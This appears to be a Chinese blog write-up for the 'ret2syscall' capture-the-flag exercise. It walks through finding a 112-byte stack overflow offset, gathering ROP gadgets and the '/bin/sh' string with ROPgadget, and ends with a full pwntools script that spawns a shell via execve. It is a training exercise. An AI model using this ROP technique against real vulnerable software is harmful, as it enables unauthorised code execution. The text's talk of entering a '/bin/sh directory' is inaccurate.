拿到文件后,还是往ubuntu里一放,然后checksec一下,发现是i386架构下的32位程序
扔进IDA里反汇编看一下
这么明示ret2syscall漏洞,那么我们不妨尝试一下~~
先进入gdb调试模式下运行程序,然后cyclic生成下字符串,塞进程序里运行。果然,栈溢出了
找到程序ret的地址,然后cyclic -l 0x62616164,得到栈溢出偏移量为112
那么思路逐渐清晰,我们接下来要把函数的栈帧布置为以下模样,为的是最后能够进入/bin/sh文件夹获取权限(偷的学长的图hh):
偏移量我们已经有了,接下来是要布置edx,ecx等寄存器的值。使用如下命令查找其地址:ROPgadget --binary ret2syscall --only 'pop|ret' |grep edx
发现有edx,ecx,ebx三个寄存器连在一起的地址,地址为0x0806eb90,正合我们意(当然也可以找三个单独的寄存器地址,但是这样省事嘛)。接下来查找eax和int 80h的地址(int 80h是32位程序运行完后的中断命令,在64位下中断命令为syscall):
寄存器的地址找完了,该查找/bin/sh和eax里存放的sys_execve()函数的地址了(我们本身并没有进入/bin/sh目录的权限,所以要借助系统函数,来带领我们获取权限)
使用以下命令查找/bin/sh的地址
ROPgadget --binary ret2syscall --string '/bin/sh'
至于sys_execve()函数的地址,我们查询Linux System Call Table,发现对应的%eax是11,在16进制下为0xb
均查找完毕之后,准备工作结束,可以开始构造攻击载荷对该程序发出最后一击~~
构造过程就不赘述了,直接放出操作结果:
可以看到,我们成功hack进了该文件的/bin/sh目录下,拥有可以为所欲为的权限了~~
接下来放exp:
from pwn import *
context(arch="i386")
p = process('./ret2syscall')
pop_edx_ecx_ebx=0x0806eb90
bin_sh=0x080be408
pop_eax=0x080bb196
int80=0x08049421
payload = b'a'*112
payload+=p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)
payload+=p32(pop_eax)+p32(0xb)
payload+=p32(int80)
p.sendline(payload)
p.interactive()
Comments | NOTHING